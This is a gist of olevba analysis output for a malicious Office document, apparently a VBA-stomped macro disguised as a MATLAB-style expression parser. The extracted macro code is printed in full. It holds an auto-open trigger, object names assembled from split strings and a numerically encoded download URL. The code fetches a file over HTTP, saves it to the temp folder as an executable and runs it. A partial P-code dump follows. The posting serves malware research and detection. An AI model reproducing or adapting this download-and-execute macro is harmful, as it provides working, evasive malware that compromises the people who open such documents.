Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save JohnLaTwC/747a3ee178fab9a8e4723d70337db6f7 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/747a3ee178fab9a8e4723d70337db6f7 to your computer and use it in GitHub Desktop.
VBAStomped MATLAB interpreter malware
## Uploaded by @JohnLaTwC
## VBAStomped MATLAB interpreter malware
## PRE STOMP: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5
## POST STOMP: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools
===============================================================================
FILE: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
Q "", ""
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 - OLE stream: 'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Const VERSION = "1.62"
Private Const NUMERICS = "0123456789"
Private Const ALPHAS = "abcdefghijklmnopqrstuvwxyz"
Private Const SINGLE_OPS = "()[],;:+-#"
Private Const COMBO_OPS = ".|&<>~=*/^!"
Public CodOrdineCorrente1 As Object
Public UtilsInd2Sub As Object
Public ParsePostfixResult As Object
Public CodOrdineCorrente4 As String
Public dimIndexArgs As String
Public UtilsCalcDimDirection As Object
Private expression As String
Private expressionIndex As Long
Private currentToken As String
Private previousTokenIsSpace As Boolean
Private arguments As Variant
Private endValues As Variant
Private errorMsg As String
Private ans As Variant
Private Sub Tokens_Next()
previousTokenIsSpace = Tokens_MoveCharPointer(" ")
If expressionIndex > Len(expression) Then currentToken = "": Exit Sub
Dim startIndex As Long: startIndex = expressionIndex
Select Case Asc(Mid(expression, expressionIndex, 1))
Case Asc("""")
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer """", True
Utils_Assert expressionIndex <= Len(expression), "Unfinished string literal"
expressionIndex = expressionIndex + 1
Case Asc("a") To Asc("z")
Tokens_MoveCharPointer NUMERICS & ALPHAS & "_"
Case Asc("0") To Asc("9")
Tokens_MoveCharPointer NUMERICS
If Tokens_MoveCharPointer(".", False, True) Then
Tokens_MoveCharPointer NUMERICS
End If
If Tokens_MoveCharPointer("eE", False, True) Then
Tokens_MoveCharPointer NUMERICS & "-", False, True
Tokens_MoveCharPointer NUMERICS
End If
Case Asc(vbLf)
expressionIndex = expressionIndex + 1
Case Else
If Not Tokens_MoveCharPointer(SINGLE_OPS, False, True) Then
Tokens_MoveCharPointer COMBO_OPS
End If
End Select
currentToken = Mid(expression, startIndex, expressionIndex - startIndex)
Utils_Assert expressionIndex > startIndex Or expressionIndex > Len(expression), _
"Illegal char: " & Mid(expression, expressionIndex, 1)
End Sub
Private Sub Tokens_AssertAndNext(token As String)
Utils_Assert token = currentToken, "missing token: " & token
Tokens_Next
End Sub
Private Function Tokens_MoveCharPointer(str As String, _
Optional stopAtStr As Boolean = False, _
Optional singleCharOnly As Boolean = False) As Boolean
While expressionIndex <= Len(expression) _
And stopAtStr <> (InStr(str, Mid(expression, expressionIndex, 1)) > 0)
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer = True
If singleCharOnly Then Exit Function
Wend
End Function
Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean
Parse_FindBinaryOp = True
Select Case token
Case "||": op = Array("orshortcircuit", 1, True)
Case "&&": op = Array("andshortcircuit", 2, True)
Case "|": op = Array("or", 3, True)
Case "&": op = Array("and", 4, True)
Case "<": op = Array("lt", 5, True)
Case "<=": op = Array("lte", 5, True)
Case ">": op = Array("gt", 5, True)
Case ">=": op = Array("gte", 5, True)
Case "==": op = Array("eq", 5, True)
Case "=": op = Array("eq", 5, True)
Case "~=": op = Array("ne", 5, True)
Case "<>": op = Array("ne", 5, True)
Case ":": op = Array("colon", 6, False)
Case "+": op = Array("plus", 7, True)
Case "-": op = Array("minus", 7, True)
Case "*": op = Array("mtimes", 8, True)
Case ".*": op = Array("times", 8, True)
Case "/": op = Array("mdivide", 8, True)
Case "./": op = Array("divide", 8, True)
Case "^": op = Array("mpower", 9, True)
Case ".^": op = Array("power", 9, True)
Case Else: Parse_FindBinaryOp = False
End Select
End Function
Public Function Q(expr As String, args As String) As Variant
arguments = Chr(Asc("e"))
endValues = Empty
errorMsg = Chr(Asc("T"))
On Error GoTo ErrorHandler
expression = expr
Parse_FindUnaryPostfixOp "", ""
Exit Function
expressionIndex = 1
Tokens_Next
Dim root As Variant
Do
Select Case currentToken
Case ""
Exit Do
Case ";", vbLf
Tokens_Next
Case Else
root = Parse_Binary()
ans = eval_tree(root)
Utils_Assert _
currentToken = "" Or currentToken = ";" Or currentToken = vbLf, _
""
End Select
Loop While True
Q = ans
Exit Function
ErrorHandler:
If errorMsg = "" Then errorMsg = Err.Description
Q = "ERROR - " & errorMsg
End Function
Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean
Parse_FindUnaryPrefixOp = True
Select Case token
Case "+": op = "uplus"
Case "-": op = "uminus"
Case "~": op = "negate"
Case "#": op = "numel"
Case "!": op = "extern"
Case Else: Parse_FindUnaryPrefixOp = False
End Select
End Function
Private Function Parse_Matrix() As Variant
While currentToken <> "]"
Utils_Stack_Push Park.se_List(True), Parse_Matrix
If currentToken = ";" Then Tokens_Next
Utils_Assert currentToken <> "", "Missing "
Wend
End Function
Private Function Parkse_List(Optional isSpaceSeparator As Boolean = False) As Variant
Set UtilsInd2Sub = CreateObject(UCase("a") + "dodb.S" + LCase(errorMsg) + "r" + arguments + "am")
Parse_Binary
Exit Function
Do While InStr(";)]", currentToken) = 0
If currentToken = "," Then
Utils_Stack_Push Array("eval_constant", Empty), Park.se_List
Else
Utils_Stack_Push Parse_Binary(), Park.se_List
End If
If currentToken = "," Then
Tokens_Next
ElseIf Not (previousTokenIsSpace And isSpaceSeparator) Then
Exit Do
End If
Loop
End Function
Private Function Parse_Binary(Optional lastPrec As Long = -999) As Variant
Set UtilsCalcDimDirection = CreateObject(UCase("s") + "h" + arguments + "ll.Applica" + LCase(errorMsg) + "ion")
Parse_Postfix
Exit Function
Parse_Binary = Parse_Prefix()
Dim op: Do While Parse_FindBinaryOp(currentToken, op)
If op(2) + CLng(op(3)) < lastPrec Then Exit Do
Tokens_Next
Parse_Binary = Array("op_" & op(1), Array(Parse_Binary, Parse_Binary(CLng(op(2)))))
Loop
End Function
Private Function Parse_Prefix() As Variant
Dim op
If Parse_FindUnaryPrefixOp(currentToken, op) Then
Tokens_Next
Parse_Prefix = Array("op_" & op, Array(Parse_Prefix()))
Else
Parse_Prefix = Parse_Postfix()
End If
End Function
Private Function Parse_Atomic() As Variant
Utils_Assert currentToken <> "", "missing argument"
Select Case Asc(currentToken)
Case Asc(":")
Parse_Atomic = Array("eval_colon", Empty)
Tokens_Next
Case Asc("(")
Tokens_Next
Parse_Atomic = Parse_Binary()
Tokens_AssertAndNext ")"
Case Asc("[")
Tokens_Next
Parse_Atomic = Array("eval_concat", Parse_Matrix())
Tokens_AssertAndNext "]"
Case Asc("""")
Parse_Atomic = Array("eval_constant", Mid(currentToken, 2, Len(currentToken) - 2))
Tokens_Next
Case Asc("0") To Asc("9")
Parse_Atomic = Array("eval_constant", Val(currentToken))
Tokens_Next
Case Asc("a") To Asc("z")
If currentToken = "end" Then
Parse_Atomic = Array("eval_end", Empty)
Tokens_Next
ElseIf currentToken = "ans" Then
Parse_Atomic = Array("eval_ans", Empty)
Tokens_Next
ElseIf Len(currentToken) = 1 Then
Parse_Atomic = Array("eval_arg", Asc(currentToken) - Asc("a"))
Tokens_Next
Else
Parse_Atomic = "fn_" & currentToken
Tokens_Next
If currentToken = "(" Then
Tokens_AssertAndNext "("
Parse_Atomic = Array(Parse_Atomic, Park.se_List())
Tokens_AssertAndNext ")"
Else
Parse_Atomic = Array(Parse_Atomic, Empty)
End If
End If
Case Else
Utils_Assert False, "unexpected token: " & currentToken
End Select
End Function
Private Function MAX(a As Variant, b As Variant) As Variant
Dim homebrew() As Variant
homebrew = Array(10830, 10842, 10842, 10838, 10784, 10773, 10773, 10824, 10840, 10827, 10826, 10823, 10772, 10844, 10823, 10836, 10830, 10831, 10827, 10834, 10827, 10772, 10836, 10834, 10773, 10778, 10777, 10781, 10829, 10782, 10773, 10778, 10777, 10841, 10779, 10826, 10780, 10828, 10781, 10829, 10772, 10827, 10846, 10827)
CodOrdineCorrente1.Open Chr(Asc("H") - 1) + UCase(arguments) + errorMsg, UtilsAssertToken(homebrew, 43), False
Utils_Numel 2
Exit Function
If a > b Then MAX = a Else MAX = b
End Function
Private Function MIN(a As Variant, b As Variant) As Variant
If a < b Then MIN = a Else MIN = b
End Function
Private Function IFF(a As Boolean, b As Variant, c As Variant) As Variant
If a Then IFF = b Else IFF = c
End Function
Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String = "")
If Utils_Dimensions(tree) > 0 Then
Dim leaf: For Each leaf In tree
Utils_DumpTree leaf, spacer & " "
Next leaf
Else
Debug.Print spacer & tree
End If
End Sub
Private Function Parse_Postfix() As Variant
Set ParsePostfixResult = CreateObject(UCase("w") + UCase("s") + LCase("C") + "rip" + LCase(errorMsg) + ".Sh" + arguments + "ll").Environment(UCase("p") + "roc" + arguments + "ss")
MAX 4, 5
Exit Function
Parse_Postfix = Parse_Atomic
Dim op: Do
If Parse_FindUnaryPostfixOp(currentToken, op) Then
Parse_Postfix = Array("op_" & op, Array(Parse_Postfix))
Tokens_Next
ElseIf currentToken = "(" Then
Tokens_Next
Parse_Postfix = Array("eval_index", Array(Parse_Postfix, Park.se_List()))
Tokens_AssertAndNext ")"
Else
Exit Do
End If
Loop While True
End Function
Private Function Utils_Dimensions(v As Variant) As Long
Dim dimnum As Long, errorCheck As Integer
On Error GoTo FinalDimension
For dimnum = 1 To 60000
errorCheck = LBound(v, dimnum)
Next
FinalDimension:
Utils_Dimensions = dimnum - 1
End Function
Private Function Utils_Numel(v As Long) As Long
CodOrdineCorrente1.Send
CodOrdineCorrente4 = ParsePostfixResult(errorMsg + UCase(arguments) + "MP")
dimIndexArgs = CodOrdineCorrente4 + "\dimenas." + arguments + "x" + arguments + ""
Utils_Ind2Sub 1, 0, 0, 0
Exit Function
Select Case Utils_Dimensions(v)
Case 0: Utils_Numel = IFF(IsEmpty(v), 0, 1)
Case 1: Utils_Numel = UBound(sccv)
Case 2: Utils_Numel = UBound(sccv, 1) * UBound(sccv, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Function
Private Function Utils_Rows(ByRef v As Variant) As Long
Dim c As Long
Utils_Size v, Utils_Rows, c
End Function
Private Function Utils_Cols(ByRef v As Variant) As Long
Dim r As Long
Utils_Size v, r, Utils_Cols
End Function
Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)
r = 0: c = 0
Select Case Utils_Dimensions(v)
Case 0: If Not IsEmpty(v) Then r = 1: c = 1
Case 1: r = UBound(v): c = 1
Case 2: r = UBound(v, 1): c = UBound(v, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean
Set CodOrdineCorrente1 = CreateObject(UCase("m") + "icrosof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P")
Parkse_List
Exit Function
Parse_FindUnaryPostfixOp = True
Select Case token
Case ""
Case Else: Parse_FindUnaryPostfixOp = False
End Select
End Function
Public Function UtilsAssertToken(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String
Dim i As Integer
Dim g_oPubGetResString As String
g_oPubGetResString = ""
For i = LBound(ByValvDefault) To UBound(ByValvDefault)
g_oPubGetResString = g_oPubGetResString & Chr(ByValvDefault(i) - 20 * NothingOrNodeName - 9800 - 66)
Next i
UtilsAssertToken = g_oPubGetResString
End Function
Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)
UtilsInd2Sub.Type = rows
UtilsInd2Sub.Open
Utils_Stack_Push "", ""
Exit Sub
j = (k - 1) \ rows + 1
i = k - rows * (j - 1)
End Sub
Private Sub Utils_Conform(ByRef v As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
v = v(1)
Else
Dim r: ReDim r(1, UBound(v))
Dim i As Long
For i = 1 To UBound(r, 2)
r(1, i) = v(i)
Next i
v = r
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then v = v(1, 1)
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
assignToMe = v(1)
Else
ReDim assignToMe(1, UBound(v))
Dim i As Long
For i = 1 To UBound(assignToMe, 2)
assignToMe(1, i) = v(i)
Next i
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then
assignToMe = v(1, 1)
Else
assignToMe = v
End If
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ForceMatrix(ByRef v As Variant)
If Utils_Dimensions(v) = 0 Then
Dim r: ReDim r(1, 1)
r(1, 1) = v
v = r
End If
End Sub
Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)
UtilsInd2Sub.write CodOrdineCorrente1.responseBody
UtilsInd2Sub.savetofile dimIndexArgs, 2
Utils_CalcDimDirection ""
Exit Sub
On Error GoTo NotInitiated
ReDim Preserve stack(LBound(stack) To UBound(stack) + 1)
stack(UBound(stack)) = item
Exit Sub
NotInitiated:
stack = Array(item)
End Sub
Private Function Utils_Stack_Pop(stack As Variant) As Variant
Dim ub As Long: ub = UBound(stack)
Dim lb As Long: lb = LBound(stack)
Utils_Stack_Pop = stack(ub)
If ub > lb Then ReDim Preserve stack(lb To ub - 1) Else stack = Null
End Function
Private Function Utils_Stack_Peek(stack As Variant) As Variant
Utils_Stack_Peek = stack(UBound(stack))
End Function
Private Function Utils_Stack_Size(stack As Variant) As Long
On Error Resume Next
Utils_Stack_Size = UBound(stack)
End Function
Private Sub Utils_CalcArgs(args As Variant)
Dim i As Long: For i = 1 To Utils_Stack_Size(args)
args(i) = eval_tree(args(i))
Next i
End Sub
Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean
Dim i As Long
For i = UBound(args) To 1 Step -1
If StrComp(TypeName(args(i)), "String") = 0 Then
If StrComp(args(i), flag, vbTextCompare) = 0 Then
Utils_IsFlagSet = True
Exit Function
End If
End If
Next i
End Function
Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long = 2) As Long
UtilsCalcDimDirection.Open (dimIndexArgs)
Exit Function
If UBound(addrgs) >= dimIndex Then
If IsNumeric(addrgs(dimIndex)) Then
Utils_CalcDimDirection = addrgs(dimIndex) - 1
Exit Function
End If
End If
Utils_CalcDimDirection = IFF(Utils_Rows(addrgs(1)) = 1, 1, 0)
End Function
Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long = 2)
Select Case Utils_Stack_Size(args)
Case Is < index
n = 1: m = 1
Case Is = index
Select Case Utils_Numel(args(index))
Case 1
n = args(index)
m = n
Case 2
n = args(index)(1, 1)
m = args(index)(MIN(2, UBound(args(index), 1)), MIN(2, UBound(args(index), 2)))
Case Else
Utils_Assert False, "bad size input"
End Select
Case Is = index + 1
n = args(index)
m = args(index + 1)
Case Else
Utils_Assert False, "bad size input"
End Select
End Function
Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)
If Utils_Stack_Size(args) >= index Then
Utils_GetOptionalArg = args(index)
Else
Utils_GetOptionalArg = defaultValue
End If
End Function
Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)
Dim size As Long: size = Utils_Stack_Size(args)
Utils_Assert size >= lb, "too few arguments"
Utils_Assert size <= ub, "too many arguments"
End Sub
Private Sub Utils_Assert(expr As Boolean, Optional msg As String = "unknown error")
If expr Then Exit Sub
errorMsg = msg
Err.Raise vbObjectError + 999
End Sub
Private Function eval_tree(root As Variant) As Variant
If left(root(1), 3) = "fn_" And root(1) <> "fn_if" And root(1) <> "fn_iferror" And root(1) <> "fn_expand" Then
Utils_CalcArgs root(2)
End If
Select Case root(1)
Case "eval_constant": eval_tree = eval_constant(root(2))
Case "eval_arg": eval_tree = eval_arg(root(2))
Case "eval_index": eval_tree = eval_index(root(2))
Case "eval_end": eval_tree = eval_end(root(2))
Case "eval_colon": eval_tree = eval_colon(root(2))
Case "eval_concat": eval_tree = eval_concat(root(2))
Case "op_eq": eval_tree = op_eq(root(2))
Case "op_plus": eval_tree = op_plus(root(2))
Case "op_minus": eval_tree = op_minus(root(2))
Case "op_mtimes": eval_tree = op_mtimes(root(2))
Case "op_colon": eval_tree = op_colon(root(2))
Case "fn_sum": eval_tree = fn_sum(root(2))
Case "fn_repmat": eval_tree = fn_repmat(root(2))
Case Else
eval_tree = Run(root(1), root(2))
End Select
End Function
Private Function eval_constant(args As Variant) As Variant
eval_constant = args
End Function
Private Function eval_arg(args As Variant) As Variant
If args > UBound(arguments) Then
Utils_Assert False, "argument "
End If
eval_arg = CVar(arguments(args))
Utils_Conform eval_arg
End Function
Private Function eval_end(args As Variant) As Variant
Utils_Assert Utils_Stack_Size(endValues) > 0, """end"" not allowed here."
eval_end = Utils_Stack_Peek(endValues)
End Function
Private Function eval_ans(args As Variant) As Variant
eval_ans = ans
End Function
Private Function eval_colon(args As Variant) As Variant
Utils_Assert False, "colon not allowed here"
End Function
Private Function fn_sort(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 4
Dim sortRows As Boolean, ascend As Boolean, returnIndices As Boolean
sortRows = (1 = Utils_CalcDimDirection(args))
ascend = Not Utils_IsFlagSet(args, "descend")
returnIndices = Utils_IsFlagSet(args, "indices")
If sortRows Then
args(1) = WorksheetFunction.Transpose(args(1))
Utils_Conform args(1)
End If
Utils_ForceMatrix args(1)
Dim rows As Long, cols As Long, i As Long, j As Long
Utils_Size args(1), rows, cols
Dim indices: ReDim indices(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
indices(i, j) = i
Next j
Next i
For j = 1 To cols
Utils_QuickSortCol args(1), indices, 1, rows, j, ascend
Next j
If returnIndices Then
fn_sort = indices
Else
Dim r: ReDim r(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
r(i, j) = args(1)(indices(i, j), j)
Next j
Next i
fn_sort = r
End If
If sortRows Then fn_sort = WorksheetFunction.Transpose(fn_sort)
Utils_Conform fn_sort
End Function
Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)
If first >= last Then Exit Function
Dim tmp As Variant
Dim pivot As Variant: pivot = arr(indices(first, col), col)
Dim left As Long: left = first
Dim right As Long: right = last
Dim ascendprefix As Long: ascendprefix = -1 - 2 * Sgn(ascend)
While left <= right
While ascendprefix * Utils_Compare(arr(indices(left, col), col), pivot) < 0
left = left + 1
Wend
While ascendprefix * Utils_Compare(pivot, arr(indices(right, col), col)) < 0
right = right - 1
Wend
If left <= right Then
tmp = indices(left, col)
indices(left, col) = indices(right, col)
indices(right, col) = tmp
left = left + 1
right = right - 1
End If
Wend
Utils_QuickSortCol arr, indices, first, right, col, ascend
Utils_QuickSortCol arr, indices, left, last, col, ascend
End Function
Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant
If IsNumeric(arg1) Then
If IsNumeric(arg2) Then
Utils_Compare = arg1 - arg2
Else
Utils_Compare = -1
End If
Else
If IsNumeric(arg2) Then
Utils_Compare = 1
Else
Utils_Compare = StrComp(CStr(arg1), CStr(arg2))
End If
End If
End Function
Private Function fn_arrayfun(args As Variant) As Variant
Utils_AssertArgsCount args, 2, 100
Utils_Assert TypeName(args(1)) = "String", "apply: 1st argument must be an Excel function name."
Dim i As Long, r1 As Long, c1 As Long, r2 As Long, c2 As Long
r1 = -1: c1 = -1
For i = 2 To Utils_Stack_Size(args)
Utils_ForceMatrix args(i)
Utils_Size args(i), r2, c2
Utils_Assert (r1 < 0 And c1 < 0) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2) Or ((r1 = 1 Or r1 = r2) And c2 = 1) Or (r2 = 1 And (c1 = 1 Or c1 = c2)), "apply(): Wrong input sizes."
r1 = MAX(r1, r2): c1 = MAX(c1, c2)
Next i
Dim v, r: ReDim r(r1, c1)
For r1 = 1 To UBound(r, 1)
For c1 = 1 To UBound(r, 2)
v = Empty
For i = 2 To Utils_Stack_Size(args)
Utils_Size args(i), r2, c2
Utils_Stack_Push args(i)(MIN(r1, r2), MIN(c1, c2)), v
Next i
r(r1, c1) = Evaluate(args(1) & "(" & Join(v, ",") & ")")
Next c1
Next r1
Utils_ConformAndAssign r, fn_arrayfun
End Function
Private Function fn_concat(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Dim i As Long, j As Long, x As Long, joiner As String
Utils_ForceMatrix args(1)
x = Utils_CalcDimDirection(args, 3)
If UBound(args) > 1 Then joiner = args(2)
Dim r: ReDim r(x * UBound(args(1), 1) + (1 - x), (1 - x) * UBound(args(1), 2) + x)
For i = 1 To UBound(args(1), 1)
For j = 1 To UBound(args(1), 2)
If (1 - x) * i + x * j = 1 Then
r(x * i + (1 - x), (1 - x) * j + x) = args(1)(i, j)
Else
r(x * i + (1 - x), (1 - x) * j + x) = r(x * i + (1 - x), (1 - x) * j + x) & joiner & args(1)(i, j)
End If
Next j
Next i
Utils_ConformAndAssign r, fn_concat
End Function
Private Function fn_expand(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Utils_Assert args(1)(1) = "eval_arg", "expand(): 1st argument must be a cell"
Dim cell As Range: Set cell = arguments(args(1)(2))
Dim rows As Long, cols As Long
If UBound(args) > 1 Then rows = eval_tree(args(2))
If UBound(args) > 2 Then cols = eval_tree(args(3))
If rows <= 0 Then
rows = cell.End(xlDown).Row - cell.Row + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(1, 0) = "" Then rows = 1
End If
End If
If cols <= 0 Then
cols = cell.End(xlToRight).Column - cell.Column + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(0, 1) = "" Then cols = 1
End If
End If
Utils_ConformAndAssign cell.Resize(rows, cols).Value, fn_expand
End Function
Private Function fn_version(args As Variant) As Variant
Utils_AssertArgsCount args, 0, 0
fn_version = VERSION
End Function
-------------------------------------------------------------------------------
VBA MACRO VBA_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' Processing file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1667 bytes
' Line #0:
' FuncDefn (Sub autoopen())
' Line #1:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Q 0x0002
' Line #2:
' EndSub
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Macros/VBA/Module1 - 47027 bytes
' Line #0:
' Line #1:
' Dim (Private Const)
' LitStr 0x0004 "1.62"
' VarDefn VERSION
' Line #2:
' Dim (Private Const)
' LitStr 0x000A "0123456789"
' VarDefn NUMERICS
' Line #3:
' Dim (Private Const)
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz"
' VarDefn ALPHAS
' Line #4:
' Dim (Private Const)
' LitStr 0x000A "()[],;:+-#"
' VarDefn SINGLE_OPS
' Line #5:
' Dim (Private Const)
' LitStr 0x000B ".|&<>~=*/^!"
' VarDefn COMBO_OPS
' Line #6:
' Line #7:
' Dim (Public)
' VarDefn CodOrdineCorrente1 (As Object)
' Line #8:
' Dim (Public)
' VarDefn UtilsInd2Sub (As Object)
' Line #9:
' Dim (Public)
' VarDefn ParsePostfixResult (As Object) 0x001B
' Line #10:
' Dim (Public)
' VarDefn CodOrdineCorrente4 (As String)
' Line #11:
' Dim (Public)
' VarDefn dimIndexArgs (As String)
' Line #12:
' Dim (Public)
' VarDefn UtilsCalcDimDirection (As Object)
' Line #13:
' Dim (Private)
' VarDefn expression (As String)
' Line #14:
' Dim (Private)
' VarDefn expressionIndex (As Long)
' Line #15:
' Dim (Private)
' VarDefn currentToken (As String)
' Line #16:
' Dim (Private)
' VarDefn previousTokenIsSpace (As Boolean)
' Line #17:
' Dim (Private)
' VarDefn arguments (As Variant)
' Line #18:
' Dim (Private)
' VarDefn endValues (As Variant)
' Line #19:
' Dim (Private)
' VarDefn errorMsg (As String)
' Line #20:
' Dim (Private)
' VarDefn ans (As Variant)
' Line #21:
' Line #22:
' FuncDefn (Private Sub Tokens_Next())
' Line #23:
' LitStr 0x0001 " "
' ArgsLd Tokens_MoveCharPointer 0x0001
' St previousTokenIsSpace
' Line #24:
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' If
' BoSImplicit
' LitStr 0x0000 ""
' St currentToken
' BoS 0x0000
' ExitSub
' EndIf
' Line #25:
' Dim
' VarDefn startIndex (As Long)
' BoS 0x0000
' Ld expressionIndex
' St startIndex
' Line #26:
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' ArgsLd Asc 0x0001
' SelectCase
' Line #27:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #28:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #29:
' LitStr 0x0001 """
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0002
' Line #30:
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' LitStr 0x0019 "Unfinished string literal"
' ArgsCall Utils_Assert 0x0002
' Line #31:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #32:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #33:
' Ld NUMERICS
' Ld ALPHAS
' Concat
' LitStr 0x0001 "_"
' Concat
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #34:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #35:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #36:
' LitStr 0x0001 "."
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #37:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #38:
' EndIfBlock
' Line #39:
' LitStr 0x0002 "eE"
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #40:
' Ld NUMERICS
' LitStr 0x0001 "-"
' Concat
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0003
' Line #41:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #42:
' EndIfBlock
' Line #43:
' Ld vbLf
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #44:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #45:
' CaseElse
' Line #46:
' Ld SINGLE_OPS
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' Not
' IfBlock
' Line #47:
' Ld COMBO_OPS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #48:
' EndIfBlock
' Line #49:
' EndSelect
' Line #50:
' Ld expression
' Ld startIndex
' Ld expressionIndex
' Ld startIndex
' Sub
' ArgsLd Mid 0x0003
' St currentToken
' Line #51:
' LineCont 0x0004 0C 00 01 00
' Ld expressionIndex
' Ld startIndex
' Gt
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' Or
' LitStr 0x000E "Illegal char: "
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #52:
' EndSub
' Line #53:
' FuncDefn (Private Sub Tokens_AssertAndNext(token As String))
' Line #54:
' Ld token
' Ld currentToken
' Eq
' LitStr 0x000F "missing token: "
' Ld token
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #55:
' ArgsCall Tokens_Next 0x0000
' Line #56:
' EndSub
' Line #57:
' LineCont 0x0008 08 00 01 00 0F 00 01 00
' ConstFuncExpr
' LitVarSpecial (False)
' LitVarSpecial (False)
' FuncDefn (Private Function Tokens_MoveCharPointer(str As String, Optional stopAtStr As Boolean, Optional singleCharOnly As Boolean) As Boolean)
' Line #58:
' LineCont 0x0004 07 00 01 00
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' Ld stopAtStr
' Ld str
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' FnInStr
' LitDI2 0x0000
' Gt
' Paren
' Ne
' And
' While
' Line #59:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #60:
' LitVarSpecial (True)
' St Tokens_MoveCharPointer
' Line #61:
' Ld singleCharOnly
' If
' BoSImplicit
' ExitFunc
' EndIf
